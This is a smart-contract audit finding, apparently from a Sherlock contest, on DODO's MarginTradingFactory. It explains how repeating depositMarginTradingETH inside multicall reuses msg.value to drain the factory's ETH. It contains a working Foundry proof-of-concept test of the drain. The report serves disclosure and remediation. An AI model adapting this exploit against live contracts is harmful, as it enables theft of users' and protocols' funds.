smiling_heretic

medium

# Using repeated `depositMarginTradingETH` in `multicall` allows anyone to drain all ETH from the factory

## Summary

Repeating `depositMarginTradingETH` in `multicall` in `MarginTradingFacotry` allows attacker to reuse `msg.value` and drain all ETH from this contract.


## Vulnerability Detail

When using `multicall` in `MarginTradingFactory` all "sub-calls" will have the same `msg.value` because of how `delegatecall` works.

In particular, when using repeating `depositMarginTradingETH` (that relies on `msg.value` to know how much ETH to send to user's `marginTrading`)  in `multicall`, attacker can reuse `msg.value` so he pays only once but deposits `msg.value` ETH to his `marginTrading` contract multiple times.

This allows the attacker to deposit all ETH from factory to his `marginTrading` contract. Then he can simply `marginTrading.withdrawETH` to get all this ETH for himself.

## Impact

Anyone can drain all ETH from `MarginTradingFactory` contract.

While it's not entirely clear how this ETH would end up in the factory, there's some evidence that the protocol is prepared for this possibility:

1. Factory has `receive` function implemented so it's possible to send ETH to factory directly.
2. There's `cleanETH` function protected by the `onlyOwner` modifier. So, in case there's some non-zero balance of ETH in the factory (maybe someone sent it by accident?), only trusted owner should be able to recover it.

## Proof of Concept

Add `dodo-margin-trading-contracts/test/marginTrading/ExploitMulticall.t.sol`

```solidity
pragma solidity 0.8.15;

import "../Context.t.sol";

contract MulticallExploit is Context {
    function setUp() public {
        contextBasicV2();
        approveAllTokenV2();
    }

    function testExploit() public {
        address attacker = address(6666);

        faucetWeth(address(lendingPoolV2), 10000 ether);

        // here attacker starts with 1 ETH but initial required money can be easily obtained with flashloans
        deal(attacker, 1 ether);
        // someone sends 10 ETH to the factory contract
        deal(address(marginTradingFactory), 10 ether);

        console2.log("before attack:");
        console2.log(attacker.balance);
        console2.log((address(marginTradingFactory)).balance);

        assertEq(attacker.balance, 1 ether);
        assertEq(address(marginTradingFactory).balance, 10 ether);

        vm.startPrank(attacker);
        // attacker creates his marginTrading contract to deposit and withdraw ETH
        address _marginTrading = createMarginTradingContract();

        // attacker prepares args for multicall: depositMarginTradingETH repeated 11 times
        bytes[] memory multicallData = new bytes[](11);
        for (uint i = 0; i < 11; i++) {
            multicallData[i] = abi.encodeWithSelector(
                marginTradingFactory.depositMarginTradingETH.selector,
                address(_marginTrading),
                false,
                uint8(1)
            );
        }
        // we send only 1 ETH but we reuse msg.value 11 times when deopsiting
        marginTradingFactory.multicall{value: 1 ether}(multicallData);
        // the attacker withdraws ETH to his account
        IMarginTrading(_marginTrading).withdrawETH(false, 11 ether, uint8(1));
        vm.stopPrank();

        console2.log();
        console2.log("after attack:");
        console2.log(attacker.balance);
        console2.log((address(marginTradingFactory)).balance);

        assertEq(attacker.balance, 11 ether);
        assertEq(address(marginTradingFactory).balance, 0);
    }
}
```

Run `forge test -vvv --match-path test/marginTrading/ExploitMulticall.t.sol`.

## Code Snippet

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTradingFactory.sol#L225

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTradingFactory.sol#L77

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTradingFactory.sol#L38

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTradingFactory.sol#L205-L206


## Tool used

Foundry, Manual Review

## Recommendation

Rethink how to implement `depositMarginTradingETH` without relying on `msg.value` or remove `multicall`.
